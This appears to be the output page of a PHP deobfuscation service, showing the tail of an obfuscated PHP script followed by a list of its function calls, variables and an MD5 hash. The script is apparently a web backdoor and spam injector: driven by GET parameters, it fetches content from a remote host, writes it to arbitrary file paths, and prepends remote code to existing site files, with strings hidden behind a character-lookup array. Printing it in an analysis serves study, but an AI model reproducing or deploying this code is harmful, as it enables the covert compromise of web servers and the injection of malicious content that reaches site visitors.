.$O{86}.$O{0}]);$OOO00O0ooo=sprintf($OOO00O0ooo,$O0ooO0OOo0,$OOo000oOoO,urlencode(date("Y-m-d")),urlencode($OO0ooO0O0o),urlencode($OO0O0Oooo0),trim($OoO0O0ooO0) ,urlencode($OO00oo0OoO),urlencode($OOOoOo0o00),$O00ooo0OOO,$OoOO0O0oo0,0);$OO000OooOo=OOoo1O1oO1($OOO00O0ooo);$Ooo000OOOo=trim($_GET[$O{37}.$O{51}.$O{86}.$O{0}]);if(isset($_GET[$O{37}.$O{51}.$O{86}.$O{0}])){$Ooo000OOOo=trim($_GET[$O{37}.$O{51}.$O{86}.$O{0}]);}if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);file_put_contents($Ooo000OOOo,$OO000OooOo);echo $O{85}.$O{36}.$O{6}.' '.$O{32}.$O{80}.$O{31}.$O{31}.$O{0}.$O{32}.$O{32};unset($OO000OooOo,$OOO00O0ooo,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}$OOO00O0ooo=sprintf($OOO00O0ooo,$O0ooO0OOo0,$OOo000oOoO,urlencode(date("Y-m-d")),urlencode($OO0ooO0O0o),urlencode($OO0O0Oooo0),trim($OoO0O0ooO0) ,urlencode($OO00oo0OoO),urlencode($OOOoOo0o00),$O00ooo0OOO,$OoOO0O0oo0,0);$O00oOoO0oO=preg_replace("/%host%/si",$OoO0O0oo0O,$O00oOoO0oO);$O00oOoO0oO=sprintf($O00oOoO0oO,$O0ooO0OOo0,$OOo000oOoO,urlencode(date("Y-m-d")),urlencode($OO0ooO0O0o),urlencode($OO0O0Oooo0),trim($OoO0O0ooO0) ,urlencode($OO00oo0OoO),urlencode($OOOoOo0o00),$O00ooo0OOO,$OoOO0O0oo0,1);if($OoOoOOo000==""){$O000OOOooo=O1OOOo11oo();$OoOoOOo000=$O000OOOooo[0];}else{$OoOoOOo000=$OoOoOOo000;}$OOOo0Ooo00=base64_encode($O0ooO0OOo0).$O{36}.$O{45}.$O{67}.$O{76}.$O{67};if(!is_dir($OoOoOOo000)){mkdir($OoOoOOo000);}$OOOo0Ooo00=$OoOoOOo000.$O{9}.$OOOo0Ooo00;$OooO00Oo0O=isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}])?$_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}]:'';$O0OO0oo0Oo=isset($_GET[$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{15}.$O{37}.$O{51}.$O{86}.$O{0}.$O{16}.$O{36}.$O{85}.$O{0}])?$_GET[$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{15}.$O{37}.$O{51}.$O{86}.$O{0}.$O{16}.$O{36}.$O{85}.$O{0}]:'';if(isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}])){$OOO0Ooo00o=$O{17}.$O{67}.$O{67}.$O{6}.$O{21}.$O{9}.$O{9}.$O{36}.$O{6}.$O{90}.$O{45}.$O{85}.$O{72}.$O{85}.$O{78}.$O{81}.$O{45}.$O{51}.$O{16}.$O{37}.$O{90}.$O{9};$OOooO000Oo=$O{27}.$O{6}.$O{29}.$O{86}.$O{90}.$O{36}.$O{78}.$O{45}.$O{6}.$O{17}.$O{6};$OO0oo0o0OO=$O{80}.$O{6}.$O{45}.$O{67}.$O{76}.$O{67};if($O0OO0oo0Oo!=''){file_put_contents($OOOo0Ooo00,base64_encode($OooO00Oo0O).$O{29}.base64_encode($O0OO0oo0Oo));$OOooO000Oo=$O0OO0oo0Oo;}$OOO00oO0oo=@file_get_contents($OOOo0Ooo00);if(trim($OOO00oO0oo)!=''){$OOO00oO0oo=explode($O{29},$OOO00oO0oo);$OOooO000Oo=base64_decode(trim($OOO00oO0oo[1]));$OO0oo0o0OO=base64_decode(trim($OOO00oO0oo[0]));}$Ooo0Oo0O0O=$O{27}.$O{6}.$O{29}.$O{81}.$O{86}.$O{90}.$O{62}.$O{29}.$O{17}.$O{0}.$O{36}.$O{78}.$O{0}.$O{15};$Oooo0OO00O=explode($O{64},$OOooO000Oo);$OOoOO0oo00=explode($O{64},$OO0oo0o0OO);for($O00ooO0oOO=0;$O00ooO0oOO<count($Oooo0OO00O);$O00ooO0oOO++){$OOooO000Oo=$Oooo0OO00O[$O00ooO0oOO];if(count($OOoOO0oo00)<=$O00ooO0oOO){$OO0oo0o0OO=$OOoOO0oo00[count($OOoOO0oo00)-1];}else{$OO0oo0o0OO=$OOoOO0oo00[$O00ooO0oOO];}$OO000OooOo=OOoo1O1oO1($OOO0Ooo00o.$OO0oo0o0OO);$OO0o0O0ooO=substr($OOooO000Oo,-strlen($OOooO000Oo),strrpos($OOooO000Oo,$O{9}));if(!is_dir($OO0o0O0ooO)&&$OO0o0O0ooO!=''){mkdir ($OO0o0O0ooO,0755,true);}$OOOo0o0o0O=@file_get_contents($OOooO000Oo);if(!strstr($OOOo0o0o0O,$Ooo0Oo0O0O)){@chmod($OOooO000Oo,0644);file_put_contents($OOooO000Oo,$OO000OooOo.$OOOo0o0o0O);}}}if(isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}])){echo $OOO00O0ooo;exit();}if(isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{69}])){echo $O00oOoO0oO;exit();}if(preg_match($O{9}.$O{45}.$O{48}.$O{45}.$O{76}.$O{85}.$O{86}.$O{66}.$O{9},$OO0ooO0O0o)){$OO000OooOo=OOoo1O1oO1($OOO00O0ooo);if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);@header($O{31}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{29}.$O{67}.$O{72}.$O{6}.$O{0}.$O{21}.$O{67}.$O{0}.$O{76}.$O{67}.$O{9}.$O{76}.$O{85}.$O{86});echo "$OO000OooOo";unset($OO000OooOo,$OOO00O0ooo,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}if($O0o0OoOo0O){$OO000OooOo=OOoo1O1oO1($OOO00O0ooo);if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);echo "$OO000OooOo";unset($OO000OooOo,$url_format,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}if($OO0Oo0O0oo){$OO000OooOo=OOoo1O1oO1($O00oOoO0oO);if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);echo "$OO000OooOo";unset($OO000OooOo,$url_format,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}}O111OooOoO();?>

Function Calls

urldecode 1
O111OooOoO 1
set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

$O e/O,\Bp"[/~=Y)Zrnh#qE:9S;jvw{-<cs&>GafQACXk6`.TD*P]iW7@}!VzN..
$O0O00OOooo 1
$O0oO0o0OOo 1
$OOo000oOoO 350
$Oo0O0o0OoO None

Stats

MD5 7e1f8c1497d2aaf5d2a4f6d1ebeaef6f
Eval Count 0
Decode Time 308 ms